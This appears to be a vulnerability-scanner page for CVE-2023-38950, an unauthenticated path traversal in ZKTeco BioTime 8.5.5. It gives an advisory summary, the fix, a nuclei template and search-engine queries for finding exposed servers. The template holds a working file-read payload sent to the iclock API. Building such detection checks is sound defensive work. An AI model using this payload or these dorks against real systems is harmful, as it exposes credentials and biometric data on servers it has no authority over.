ZKTeco BioTime v8.5.5 - Path Traversal

Exploited in the wild. Listed by CISA on 2025-05-19; known to be used by ransomware.

highseverity

7.5CVSS score

92.5%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

A path traversal vulnerability in the iclock API of ZKTeco BioTime v8.5.5 allows unauthenticated attackers to read arbitrary files via supplying a crafted payload.

Impact

Unauthenticated attackers can read arbitrary files from the server through path traversal in the iclock API url parameter, potentially exposing employee biometric data, attendance records, and system credentials.

Fix

Update ZKTeco BioTime to a version newer than 8.5.5 that validates file paths in the iclock API and restricts access to authorized files only.

How to confirm it

Send: GET /iclock/file?url=/../../../../../../../../../windows/win.ini
Positive when: status_code == 200 and contains(header, "text/plain") and contains_all(base64_decode(body), "; for 16-bit app support" ,"[extensions]")

Run it with nuclei: nuclei -id CVE-2023-38950 -u <target>

The full check

id: CVE-2023-38950

info:
  name: ZKTeco BioTime v8.5.5 - Path Traversal
  author: iamnoooob,pdresearch
  severity: high
  description: |
    A path traversal vulnerability in the iclock API of ZKTeco BioTime v8.5.5 allows unauthenticated attackers to read arbitrary files via supplying a crafted payload.
  impact: |
    Unauthenticated attackers can read arbitrary files from the server through path traversal in the iclock API url parameter, potentially exposing employee biometric data, attendance records, and system credentials.
  remediation: |
    Update ZKTeco BioTime to a version newer than 8.5.5 that validates file paths in the iclock API and restricts access to authorized files only.
  reference:
    - https://github.com/advisories/GHSA-4m8x-4g54-h49v
    - http://zkteco.com
    - https://claroty.com/team82/disclosure-dashboard/cve-2023-38950
    - https://www.fortinet.com/content/dam/fortinet/assets/reports/report-incident-response-middle-east.pdf
    - https://nvd.nist.gov/vuln/detail/CVE-2023-38950
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-38950
    cwe-id: CWE-22
    epss-score: 0.92468
    epss-percentile: 0.99826
    cpe: cpe:2.3:a:zkteco:biotime:8.5.5:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: zkteco
    product: biotime
    shodan-query: http.title:"biotime"
    fofa-query: title="biotime"
    google-query: intitle:"biotime"
  tags: cve,cve2023,zkteco,biotime,lfr,kev,vkev,vuln

http:
  - raw:
      - |
        GET /iclock/file?url=/../../../../../../../../../windows/win.ini HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "text/plain")'
          - 'contains_all(base64_decode(body), "; for 16-bit app support" ,"[extensions]")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from